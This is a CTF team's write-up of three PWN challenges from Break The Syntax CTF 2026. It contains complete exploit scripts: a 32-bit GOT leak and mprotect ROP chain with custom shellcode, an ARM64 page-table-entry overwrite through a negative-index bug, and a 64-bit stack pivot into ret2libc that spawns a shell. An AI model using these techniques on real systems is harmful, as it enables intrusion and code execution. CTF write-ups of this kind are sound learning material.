team-logo
MindCrafters
Published on

Break The Syntax CTF 2026 - PWN challenges

Authors

Introduction

Recently there was a cool CTF in Poland: Break The Syntax CTF 2026. We solved all three PWN challenges. The PWN category had three tasks: two classic shellcode challenges (32-bit and 64-bit) and one ARM64 task running under QEMU — poni barn. Below are the writeups and solutions.

00

shellcode-1.11 You Can (Not) Execute

01

A 32-bit challenge. The server was reachable only through an SNI tunnel (snicat). No PIE — PLT/GOT addresses are fixed. The approach: leak the GOT via write@plt, compute the ld-linux.so.2 base, then ROP into mprotect to mark the stack RWX, and finally execute a hand-written open/read/write shellcode to read the flag.

Solution

#!/usr/bin/env python3
import os
import re
import socket
import struct
import subprocess
import time

HOST = "tcp-shellcode-63fe107687868e89.chall.bts.wh.edu.pl"
LHOST = "127.0.0.1"
LPORT = 31337
SNICAT = os.environ.get("SNICAT", "snicat")

READ_PLT  = 0x08049020
WRITE_PLT = 0x08049010
MAIN      = 0x08049040
GOT_BASE  = 0x0804bff4

RESOLVER_OFF = 0x11310

# ld-linux.so.2
G_ADD_ESP_12_RET = 0x162ba
LD_MPROTECT      = 0x23080


def p32(x):
    return struct.pack("<I", x & 0xffffffff)


def u32(b):
    return struct.unpack("<I", b[:4])[0]


def recvn(sock, n, timeout=5):
    sock.settimeout(timeout)
    out = b""
    while len(out) < n:
        try:
            c = sock.recv(n - len(out))
        except socket.timeout:
            break
        if not c:
            break
        out += c
    return out


def recv_all(sock, timeout=5):
    sock.settimeout(timeout)
    out = b""
    while True:
        try:
            c = sock.recv(4096)
            if not c:
                break
            out += c
        except socket.timeout:
            break
    return out


def start_snicat():
    print(f"[*] Startuję snicat: {SNICAT} -bind {LHOST}:{LPORT} {HOST}")
    proc = subprocess.Popen(
        [SNICAT, "-bind", f"{LHOST}:{LPORT}", HOST],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
    )
    time.sleep(1.0)
    return proc


def connect_local():
    for _ in range(30):
        try:
            return socket.create_connection((LHOST, LPORT), timeout=2)
        except OSError:
            time.sleep(0.2)
    raise RuntimeError("Nie mogę połączyć się z lokalnym tunelem snicat")


def calc_buf(leak):
    saved_ecx = u32(leak[12:16])
    entry_esp = saved_ecx - 4
    return (entry_esp & ~0xf) - 24


def pivot_read(buf, count):
    payload  = p32(READ_PLT)       # ret po stack pivocie
    payload += p32(0x41414141)     # return read(), nadpisze stage
    payload += p32(0)              # fd
    payload += p32(buf + 4)        # dst
    payload += p32(count)          # count
    return payload.ljust(28, b"A")


def stage_leak_got():
    rop  = p32(WRITE_PLT)
    rop += p32(MAIN)
    rop += p32(1)
    rop += p32(GOT_BASE)
    rop += p32(0x20)
    return rop


def shellcode_open_read_write(path: bytes):
    assert b"\x00" not in path
    if len(path) + 1 + 0x40 > 0x7f:
        raise ValueError("path za długi dla lea esi,[ebx+imm8]")

    safe_off = len(path) + 1 + 0x20

    body = b""

    # ebx = &path
    body += b"\x5b"                          # pop ebx

    # esi = safe_buf = path + len(path) + 1 + 0x20
    body += b"\x8d\x73" + bytes([safe_off])  # lea esi, [ebx+safe_off]

    # open(path, O_RDONLY, 0)
    body += b"\x31\xc9"                      # xor ecx,ecx
    body += b"\x31\xd2"                      # xor edx,edx
    body += b"\x31\xc0"                      # xor eax,eax
    body += b"\xb0\x05"                      # mov al,5
    body += b"\xcd\x80"                      # int 0x80

    # read(fd, safe_buf, 0x100)
    body += b"\x89\xc3"                      # mov ebx,eax
    body += b"\x89\xf1"                      # mov ecx,esi
    body += b"\x31\xd2"                      # xor edx,edx
    body += b"\xb6\x01"                      # mov dh,1 ; edx=0x100
    body += b"\x31\xc0"                      # xor eax,eax
    body += b"\xb0\x03"                      # mov al,3
    body += b"\xcd\x80"                      # int 0x80

    # write(1, safe_buf, eax)
    body += b"\x89\xc2"                      # mov edx,eax
    body += b"\x31\xdb"                      # xor ebx,ebx
    body += b"\x43"                          # inc ebx
    body += b"\x89\xf1"                      # mov ecx,esi
    body += b"\x31\xc0"                      # xor eax,eax
    body += b"\xb0\x04"                      # mov al,4
    body += b"\xcd\x80"                      # int 0x80

    # exit(0)
    body += b"\x31\xdb"                      # xor ebx,ebx
    body += b"\x31\xc0"                      # xor eax,eax
    body += b"\xb0\x01"                      # mov al,1
    body += b"\xcd\x80"                      # int 0x80

    # jmp-call-pop
    sc = b"\xeb" + bytes([len(body)])
    sc += body

    after_call = len(sc) + 5
    rel = (2 - after_call) & 0xffffffff

    sc += b"\xe8" + p32(rel)
    sc += path + b"\x00"

    # trochę paddingu, żeby safe_buf był realnie za stringiem
    sc += b"\x90" * 0x80

    return sc


def build_final_stage(buf, ld_base, shellcode):
    ld = lambda off: ld_base + off

    stack_page = buf & ~0xfff

    # final_stage jest ładowany pod buf+4.
    #
    # buf+04: mprotect
    # buf+08: add esp,0xc ; ret
    # buf+12: stack_page
    # buf+16: 0x1000
    # buf+20: 7
    # buf+24: shell_addr
    # buf+28: shellcode
    shell_addr = buf + 28

    rop  = p32(ld(LD_MPROTECT))
    rop += p32(ld(G_ADD_ESP_12_RET))
    rop += p32(stack_page)
    rop += p32(0x1000)
    rop += p32(7)
    rop += p32(shell_addr)
    rop += shellcode

    return rop


def run_one(path: bytes):
    print(f"\n===== próba path={path!r} =====")

    s = connect_local()

    leak1 = recvn(s, 64)
    if len(leak1) != 64:
        raise RuntimeError(f"leak1 len={len(leak1)}, oczekiwano 64")

    buf1 = calc_buf(leak1)
    print(f"[*] buf1 = {buf1:#x}")

    st = stage_leak_got()
    s.sendall(pivot_read(buf1, len(st)) + st)

    got = recvn(s, 0x20)
    if len(got) != 0x20:
        raise RuntimeError(f"GOT leak len={len(got)}, oczekiwano 32")

    resolver = u32(got[8:12])
    write_addr = u32(got[12:16])
    read_addr = u32(got[16:20])
    ld_base = resolver - RESOLVER_OFF

    print(f"[*] resolver = {resolver:#x}")
    print(f"[*] write    = {write_addr:#x}")
    print(f"[*] read     = {read_addr:#x}")
    print(f"[*] ld_base  = {ld_base:#x}")

    if ld_base & 0xfff:
        print("[!] ld_base nie jest page-aligned")
        s.close()
        return b""

    leak2 = recvn(s, 64)
    if len(leak2) != 64:
        raise RuntimeError(f"leak2 len={len(leak2)}, oczekiwano 64")

    buf2 = calc_buf(leak2)
    print(f"[*] buf2 = {buf2:#x}")

    sc = shellcode_open_read_write(path)
    final_stage = build_final_stage(buf2, ld_base, sc)

    print(f"[*] shellcode len   = {len(sc)}")
    print(f"[*] final_stage len = {len(final_stage)}")

    s.sendall(pivot_read(buf2, len(final_stage)) + final_stage)

    out = recv_all(s, timeout=5)
    s.close()
    return out


def main():
    proc = start_snicat()

    try:
        paths = [
            b"/app/flag.txt",
            b"flag.txt",
            b"./flag.txt",
        ]

        for path in paths:
            try:
                out = run_one(path)
            except Exception as e:
                print(f"[-] error: {e}")
                continue

            print("--- OUTPUT RAW ---")
            print(repr(out))
            print("--- OUTPUT TEXT ---")
            print(out.decode(errors="replace"))

            m = re.search(rb"(?:BtSCTF|BTSCTF|BTS|btsctf|BtS)\{[^}\n]+\}", out)
            if m:
                print(f"\n[+] FLAG: {m.group(0).decode(errors='replace')}")
                return

            if b"{" in out and b"}" in out:
                print("\n[+] Jest output flagopodobny, sprawdź powyżej.")
                return

        print("\n[-] Nadal brak flagi.")
        print("[*] Jeśli dalej pusto, następny test: shellcode-only write('OK') po mprotect.")

    finally:
        try:
            proc.terminate()
        except Exception:
            pass


if __name__ == "__main__":
    main()

Solution author: Grzechu

poni barn

02

Description

Frankly speaking, I don't really like ARM, so Codex practically did the whole task for me. We get a small system running inside QEMU on ARM64. You don't need deep ARM knowledge to solve this. Two things matter from the decompilation:

  • the program has a pony menu,
  • option 8) peek somewhere lets you read 8 bytes from a given address, but not from every memory page.

The flag lives in a .flag section at:

0x40023000

Trying to read that page directly gives:

FAULT

So the flag is in memory, but the page is not accessible from userland.

Key addresses

From binary-ninja-output.txt and readelf:

__barn    = 0x40020000
l3_table  = 0x40021000
flag page = 0x40023000

__barn is an array of 256 ponies. Each pony is 16 bytes:

offset +0: name,         8 bytes
offset +8: magic number, 8 bytes

Option 7) change pony's magic number writes 8 bytes to:

selected_pony + 8

The bug

When selecting a pony the program does roughly:

idx = parse_int(input);

if (idx > 255) {
    error();
} else {
    pony = __barn + (idx << 4);
}

The problem: only idx > 255 is checked.

There is no check for a negative idx.

By supplying a very large number that is treated as negative in signed 64-bit arithmetic, the program accepts it and uses it to compute the pointer.

Index used:

0x8000000000000111

After the 4-bit left shift and 64-bit wraparound:

__barn + (idx << 4) = 0x40021110

So the chosen "pony" actually points into the page table, not the normal pony array.

What we overwrite

The flag page's entry in the page table is at:

0x40021118

Because option 7 writes to pony + 8, and our fake pony is 0x40021110, the write lands exactly here:

0x40021110 + 8 = 0x40021118

Before the exploit, the entry looks like:

0x0060000040023703

This maps the physical flag page but without EL0 (userland) access.

We change it to:

0x0060000040023743

The difference is setting the additional access bit for EL0. In practice we flip the low bytes:

...3703 -> ...3743

Why sparkle dust

Option 9) sparkle dust invokes syscall number 2, which the kernel handles as:

dsb();
tlbi vmalle1;
dsb();
isb();

This flushes the TLB — the address translation cache. After modifying the page table you must do this so the CPU starts using the new entry.

Without it, reads may still fault because the processor remembers the old page permissions.

Manual steps

After connecting to the service:

1
0x8000000000000111
7
0x60000040023743
9
8
0x40023000
8
0x40023008
8
0x40023010
8
0x40023018
8
0x40023020

Each peek returns 8 bytes. The program also prints them on the right as ASCII, e.g.:

VAL:0x5f7b465443537442  |BtSCTF{_|

The hex value is little-endian, but the ASCII on the right is already in the correct order.

Solution

#!/usr/bin/env python3
import re
import socket
import sys
import time


HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1337


def recv_some(sock, timeout=0.5):
    sock.settimeout(timeout)
    data = b""
    while True:
        try:
            chunk = sock.recv(65536)
            if not chunk:
                break
            data += chunk
        except TimeoutError:
            break
    return data


def main():
    with socket.create_connection((HOST, PORT), timeout=5) as sock:
        time.sleep(0.3)
        recv_some(sock)

        payload = b""

        # __barn + (idx << 4) == 0x40021110.  The high bit makes the signed
        # bounds check accept the index while the shift still wraps as needed.
        payload += b"1\n0x8000000000000111\n"

        # Write [selected_pony + 8], i.e. PTE at 0x40021118 for VA 0x40023000.
        # Original low flags are 0x703 (EL1-only); 0x743 sets EL0 access.
        payload += b"7\n0x60000040023743\n"

        # Flush TLB.
        payload += b"9\n"

        for addr in range(0x40023000, 0x40023028, 8):
            payload += f"8\n0x{addr:x}\n".encode()

        payload += b"0\n"
        sock.sendall(payload)
        time.sleep(0.8)
        out = recv_some(sock, timeout=1.0).decode("latin1", "replace")

    parts = []
    for value in re.findall(r"VAL:0x([0-9a-fA-F]{16})", out):
        parts.append(int(value, 16).to_bytes(8, "little"))

    flag = b"".join(parts).split(b"\x00", 1)[0]
    print(flag.decode("latin1", "replace"))


if __name__ == "__main__":
    main()

Solution author: kerszi

Shellcode: 2.22 You Can (Not) RCE

03

A 64-bit challenge. The binary is a "love interpreter" that accepts input encoded as <3, 0<<, 1<< — primitive opcodes that XOR bytes on the stack. The exploit: stabilise the stack frame by re-entering main twice, pivot the stack into a prepared ROP chain, leak puts@GOT to find the libc base, return to main, then call system("/bin/sh").

Solution

#!/usr/bin/env python3
from pwn import *
import argparse
import os
import re
import time

context.binary = "./a.out"
context.arch = "amd64"
context.log_level = "info"

HOST = "127.0.0.1"
PORT = 31337

PAYLEN = 0x400

RET = 0x40101a
POP_RDI_RET = 0x40146b
PUTS_PLT = 0x401030
PUTS_GOT = 0x404000
LOVE = 0x401251
MAIN_PLUS_1 = 0x401461

# dla pierwszego pivota: przy mask=0xd8 możliwe trafienia to:
# 0x3b8, 0x3c8, 0x3d8, 0x3e8
LEAK_CHAIN_OFF = 0x3c8


def recv_prompt(io, timeout=5):
    marker = b"Show me your love, in hearts, zeroes and ones"
    data = b""
    end = time.time() + timeout

    while time.time() < end and marker not in data:
        try:
            c = io.recv(timeout=0.25)
        except EOFError:
            break

        if c:
            data += c

    return data


def recv_some(io, timeout=2):
    try:
        return io.recvrepeat(timeout=timeout)
    except EOFError:
        return b""


def nested_main_payload():
    """
    count('3') = 13 -> EBX = 0x2000 -> BH = 0x20

    0<< = xor byte ptr [rsp+rdi], bh
    invalid byte = 0x00 -> rdi=0

    shellcode return:
      0x401441 ^ 0x20 = 0x401461 = main+1
    """
    p = bytearray(b"A" * PAYLEN)
    sc = b"<3" * 13 + b"0<<" + b"\x00"
    p[:len(sc)] = sc
    assert p.count(0x33) == 13
    return bytes(p)


def make_pivot_payload(body, count3=15, invalid=0x58):
    """
    Shellcode:
      <3...    padding/count
      1<<      xor dword ptr [rsp+rdi], edi
      0<<      xor byte ptr [rsp+rdi], bh

    Przy count3=15:
      BH = 0x80
      mask low-byte saved rbp = invalid ^ 0x80
      dla invalid=0x58 mask=0xd8
    """
    p = bytearray(b"A" * PAYLEN)

    for off, q in body:
        p[off:off + len(q)] = q

    need = count3 - p.count(0x33)
    if need < 0:
        return None

    sc = b"<3" * need + b"1<<0<<" + bytes([invalid])
    p[:len(sc)] = sc

    if p.count(0x33) != count3:
        return None

    return bytes(p)


def leak_payload(return_after_puts):
    chain = flat(
        0xdeadbeefdeadbeef,
        POP_RDI_RET,
        PUTS_GOT,
        PUTS_PLT,
        return_after_puts,
    )

    return make_pivot_payload(
        [(LEAK_CHAIN_OFF, chain)],
        count3=15,
        invalid=0x58,
    )


def final_payload(libc):
    """
    Uniwersalniejszy final:
    - ret-sled od 0x3a0 do 0x3d8
    - właściwy ROP od 0x3d8
    Dzięki temu nie musimy trafić idealnie w jeden qword.
    """
    binsh = next(libc.search(b"/bin/sh\x00"))

    body = []

    # ret-sled; bez bajtu 0x33 w adresie
    for off in range(0x3a0, 0x3d8, 8):
        body.append((off, p64(RET)))

    # final chain mieści się do końca 0x400
    chain = flat(
        POP_RDI_RET,
        binsh,
        libc.sym["system"],
        libc.sym["exit"],
    )

    body.append((0x3d8, chain))

    return make_pivot_payload(
        body,
        count3=15,
        invalid=0x58,
    )


def parse_puts_leak(data):
    marker = b"2 to the power of love you gave me: 0\n"

    for rest in data.split(marker)[1:]:
        line = rest.split(b"\n", 1)[0]

        if len(line) < 4:
            continue

        if b"*" in line or b"Show me" in line or b"love" in line or b"50015" in line:
            continue

        leak = u64(line[:8].ljust(8, b"\x00"))

        if 0x700000000000 <= leak <= 0x7fffffffffff:
            return leak

    return None


def one_attempt(libc_path, leak_return):
    libc = ELF(libc_path, checksec=False)
    libc.address = 0
    puts_off = libc.sym["puts"]

    io = remote(HOST, PORT)

    try:
        recv_prompt(io)

        # stabilizujemy pierwszy frame tak jak w wersji, która już dawała leak
        io.send(nested_main_payload())
        recv_prompt(io)

        io.send(nested_main_payload())
        recv_prompt(io)

        lp = leak_payload(leak_return)
        if lp is None:
            io.close()
            return False

        io.send(lp)

        # jeśli leak_return == MAIN_PLUS_1, po puts() powinien pojawić się nowy prompt
        data = recv_prompt(io, timeout=6)
        leak = parse_puts_leak(data)

        if leak is None:
            io.close()
            return False

        libc.address = leak - puts_off

        if libc.address & 0xfff:
            log.warning("Odrzucam niepage-aligned libc base: leak=%#x base=%#x", leak, libc.address)
            io.close()
            return False

        if not (0x700000000000 <= libc.address <= 0x7fffffffffff):
            log.warning("Odrzucam dziwną libc base: leak=%#x base=%#x", leak, libc.address)
            io.close()
            return False

        log.success("puts leak : %#x", leak)
        log.success("libc base : %#x", libc.address)
        log.success("system    : %#x", libc.sym["system"])
        log.success("/bin/sh   : %#x", next(libc.search(b"/bin/sh\x00")))
        log.info("leak_return = %#x", leak_return)

        # Jeżeli po leaku wróciliśmy do LOVE, spróbuj jeszcze raz wejść w main+1.
        # Jeżeli wróciliśmy do MAIN_PLUS_1, już jesteśmy przy świeżym prompcie.
        if leak_return == LOVE:
            io.send(nested_main_payload())
            recv_prompt(io)

        fp = final_payload(libc)
        if fp is None:
            io.close()
            return False

        io.send(fp)
        time.sleep(0.3)

        io.sendline(b"cat /app/flag.txt; /bin/cat /app/flag.txt; cat flag.txt; id")
        out = recv_some(io, timeout=2.5)

        m = re.search(rb"BtSCTF\{[^}]+\}", out)
        if m:
            flag = m.group(0).decode(errors="replace")
            print(flag)
            log.success("FLAG: %s", flag)
            return True

        if b"uid=" in out:
            print(out.decode(errors="replace"))
            io.interactive()
            return True

        if out.strip():
            log.info("output:\n%s", out.decode(errors="replace"))

        io.close()
        return False

    except EOFError:
        try:
            io.close()
        except Exception:
            pass
        return False


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--libc", default="./libc.so.6")
    ap.add_argument("--tries", type=int, default=500)
    args = ap.parse_args()

    if not os.path.exists(args.libc):
        log.error("Brak libc: %s", args.libc)

    # Najpierw właściwy wariant: po leaku wróć do main+1.
    # Fallback: stary wariant przez LOVE.
    returns = [MAIN_PLUS_1, LOVE]

    for i in range(1, args.tries + 1):
        leak_return = returns[(i - 1) % len(returns)]

        log.info("===== attempt %d/%d return=%#x =====", i, args.tries, leak_return)

        if one_attempt(args.libc, leak_return):
            return

        time.sleep(0.1)

    log.failure("Nie złapałem flagi. Jeśli leak nadal wpada, zwiększ --tries albo pokaż output z udanego leaku dla return=0x401461.")


if __name__ == "__main__":
    main()

Solution author: Grzechu

Conclusion

Three tasks, three different vectors. shellcode-1.11 is a classic 32-bit GOT leak into shellcode via mprotect. poni barn is the most original one — an integer overflow in the pony index lets you overwrite an ARM64 page table entry and unlock the flag page. shellcode-2.22 is a 64-bit challenge with a custom opcode interpreter and a multi-stage ret2libc.

Bonus

You can find all binaries here.